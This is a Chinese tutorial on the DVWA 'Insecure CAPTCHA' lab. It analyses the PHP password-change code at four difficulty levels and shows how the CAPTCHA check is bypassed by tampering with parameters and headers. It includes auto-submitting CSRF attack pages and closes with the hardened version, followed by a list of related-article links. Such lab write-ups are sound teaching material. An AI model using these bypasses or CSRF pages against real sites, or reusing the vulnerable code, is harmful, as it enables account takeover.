Insecure CAPTCHA

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。

reCAPTCHA验证流程

这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

(ps:有人也许会问,那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码)

下面对四种级别的代码进行分析。

Low

服务器端核心代码:

<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false
        return
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            // Show next stage for the user 
            echo " 
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                <form action=\"#\" method=\"POST\"> 
                    <input type=\"hidden\" name=\"step\" value=\"2\" /> 
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
                    <input type=\"submit\" name=\"Change\" value=\"Change\" /> 
                </form>"; 
        } 
        else { 
            // Both new passwords do not match. 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false
        } 
    } 
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check to see if both password match 
    if( $pass_new == $pass_conf ) { 
        // They do
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new );          // Update database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );          // Feedback for the end user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with the passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
        $hide_form = false
    }      mysql_close(); 
}  ?> 

可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

漏洞利用

1.通过构造参数绕过验证过程的第一步

首先输入密码,点击Change按钮,抓包:

(ps:因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)

更改step参数绕过验证码:

修改密码成功:

2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下(详见CSRF模块的教程)。


 

<html>

<body onload="document.getElementById('transfer').submit()">

  <div>

    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="step" value="2"

<input type="hidden" name="Change" value="Change">

</form>

  </div>

</body>

</html>

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。

Medium

服务器端核心代码:

<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false; 
        return; 
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            // Show next stage for the user 
            echo " 
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                <form action=\"#\" method=\"POST\"> 
                    <input type=\"hidden\" name=\"step\" value=\"2\" /> 
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> 
                    <input type=\"submit\" name=\"Change\" value=\"Change\" /> 
                </form>"; 
        } 
        else { 
            // Both new passwords do not match. 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false; 
        } 
    } 
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check to see if they did stage 1 
    if( !$_POST[ 'passed_captcha' ] ) { 
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>"; 
        $hide_form = false; 
        return; 
    }      // Check to see if both password match 
    if( $pass_new == $pass_conf ) { 
        // They do
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new );          // Update database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );          // Feedback for the end user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with the passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
        $hide_form = false; 
    }      mysql_close(); 
}  ?> 

可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

漏洞利用

1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。

抓到的包:

更改之后的包:

更改密码成功:

2.依然可以实施CSRF攻击,攻击页面代码如下。

<html>

<body onload="document.getElementById('transfer').submit()">

  <div>

    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="passed_captcha" value="true">

<input type="hidden" name="step" value="2">

<input type="hidden" name="Change" value="Change">

</form>

  </div>

</body>

</html>

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

不过依然会跳转到更改密码成功的界面。

High

服务器端核心代码:

<?php 

if( isset( $_POST[ 'Change' ] ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false
        return
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new );              // Update database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );              // Feedback for user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Ops. Password mismatch 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false
        } 
    }      mysql_close(); 

// Generate Anti-CSRF token 
generateSessionToken();  ?> 

可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

漏洞利用

搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

第一步依旧是抓包:

更改参数recaptcha_response_field以及http包头的User-Agent:

密码修改成功:

Impossible

服务器端核心代码

if( isset( $_POST[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );      // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_new  = stripslashes( $pass_new ); 
    $pass_new  = mysql_real_escape_string( $pass_new ); 
    $pass_new  = md5( $pass_new );      $pass_conf = $_POST[ 'password_conf' ]; 
    $pass_conf = stripslashes( $pass_conf ); 
    $pass_conf = mysql_real_escape_string( $pass_conf ); 
    $pass_conf = md5( $pass_conf );      $pass_curr = $_POST[ 'password_current' ]; 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr );      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false
        return
    } 
    else { 
        // Check that the current password is correct 
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
        $data->execute();          // Do both new password match and was the current password correct? 
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { 
            // Update the database 
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
            $data->execute();              // Feedback for the end user - success! 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Feedback for the end user - failed! 
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; 
            $hide_form = false
        } 
    } 
}  // Generate Anti-CSRF token 
generateSessionToken();  ?> 

可以看到,Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。

*本文原创作者:lonehand

转自:http://www.freebuf.com/articles/web/119692.html

DVWA之Insecure Captcha的更多相关文章

  1. DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA

    之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...

  2. DVWA全级别之Insecure CAPTCHA(不安全的验证码)

    Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell ...

  3. 安全性测试入门 (五):Insecure CAPTCHA 验证码绕过

    本篇继续对于安全性测试话题,结合DVWA进行研习. Insecure Captcha不安全验证码 1. 验证码到底是怎么一回事 这个Captcha狭义而言就是谷歌提供的一种用户验证服务,全称为:Com ...

  4. DVWA-全等级验证码Insecure CAPTCHA

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

  5. Insecure CAPTCHA (不安全的验证码)

    dvwa不能正常显示,需要在配置文件中加入谷歌的密钥: $_DVWA[ 'recaptcha_public_key' ] = '6LfX8tQUAAAAAOqhpvS7-b4RQ_9GVQIh48dR ...

  6. 不安全的验证码Insecure CAPTCHA

    没啥好讲的,当验证不合格时,通过burp抓包工具修改成符合要求的数据包.修改参数标志位.USER-AGENT之类的参数. 防御 加强验证,Anti-CSRF token机制防御CSRF攻击,利用PDO ...

  7. 黑客攻防技术宝典Web实战篇(二)工具篇DVWA Web漏洞学习

    DVWA是一个学习Web漏洞的很好的工具. DVWA全程是Damn Vulnerable Web Application,还有一个跟它一样好的工具尽在http://www.360doc.com/con ...

  8. 安全性测试入门:DVWA系列研究(一):Brute Force暴力破解攻击和防御

    写在篇头: 随着国内的互联网产业日臻成熟,软件质量的要求越来越高,对测试团队和测试工程师提出了种种新的挑战. 传统的行业现象是90%的测试工程师被堆积在基本的功能.系统.黑盒测试,但是随着软件测试整体 ...

  9. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

随机推荐

  1. Nginx常用内核参数优化,安装,基本命令

    1.内核参数配置,默认的Linux内核参数考虑的是通用的场景,明显不符合用于支持高并发访问web服务的定义,所以需要修改Linux内核参数,使得Nginx可以拥有更高的性能.可以通过修改 /etc/s ...

  2. Mybatis(一):手写一套持久层框架

    作者 : 潘潘 未来半年,有幸与导师们一起学习交流,趁这个机会,把所学所感记录下来. 「封面图」 自毕业以后,自己先创业后上班,浮沉了近8年,内心着实焦躁,虽一直是走科班路线,但在技术道路上却始终没静 ...

  3. 追洞小组 | 实战CVE-2020-7471漏洞

    出品|MS08067实验室(www.ms08067.com) 本文作者:守拙(Ms08067实验室追洞小组成员) 一.漏洞名称: 通过StringAgg(分隔符)的潜在SQL注入漏洞 二.漏洞编号: ...

  4. python工业互联网应用实战8—django-simpleui

    笔者也使用过一段时间adminx组件,后来由于adminx停更,又遇到更简单的django-simpleui后,现在基本上只使用simpleui了,使用simpleui的几个好处,笔者认为排在第一位的 ...

  5. JavaCV 采集摄像头及桌面视频数据

    javacv 封装了javacpp-presets库很多native API,简化了开发,对java程序员来说比较友好. 之前使用JavaCV库都是使用ffmpeg native API开发,这种方式 ...

  6. 面试现场:说说char 和 varchar的区别你了解多少?

    Hi,大家好!我是白日梦!本文是MySQL专题的第 26 篇. 下文还是白日梦以自导自演的方式,围绕"说说char 和 varchar的区别你了解多少?"展开本话题.看看你能抗到第 ...

  7. Python中面向对象的概念

    1.语言的分类 1)面向机器 抽象成机器指令,机器容易理解.代表:汇编语言. 2)面向过程 做一件事,排除步骤,第一步做什么,第二步做什么,如果出现A问题,做什么处理,出现b问题,做什么处理.问题规模 ...

  8. Scientific Internet Access

    下载小飞机 https://github.com/shadowsocksr-backup 寻找ssr https://github.com/Alvin9999/new-pac/wiki/ss%E5%8 ...

  9. 封装一个postMessage库,进行iframe跨域交互

    这是近期个人在开发chrome插件时的其中一个小总结.还有很多没有总结出来.因为目前插件还在迭代中,(herry菌插件,用于B站C站),属于个人业余的一个小项目.还有很多功能没有实现,以及还需要再看能 ...

  10. [搜索]P1088 火星人

    火星人 题目描述 人类终于登上了火星的土地并且见到了神秘的火星人.人类和火星人都无法理解对方的语言,但是我们的科学家发明了一种用数字交流的方法.这种交流方法是这样的,首先,火星人把一个非常大的数字告诉 ...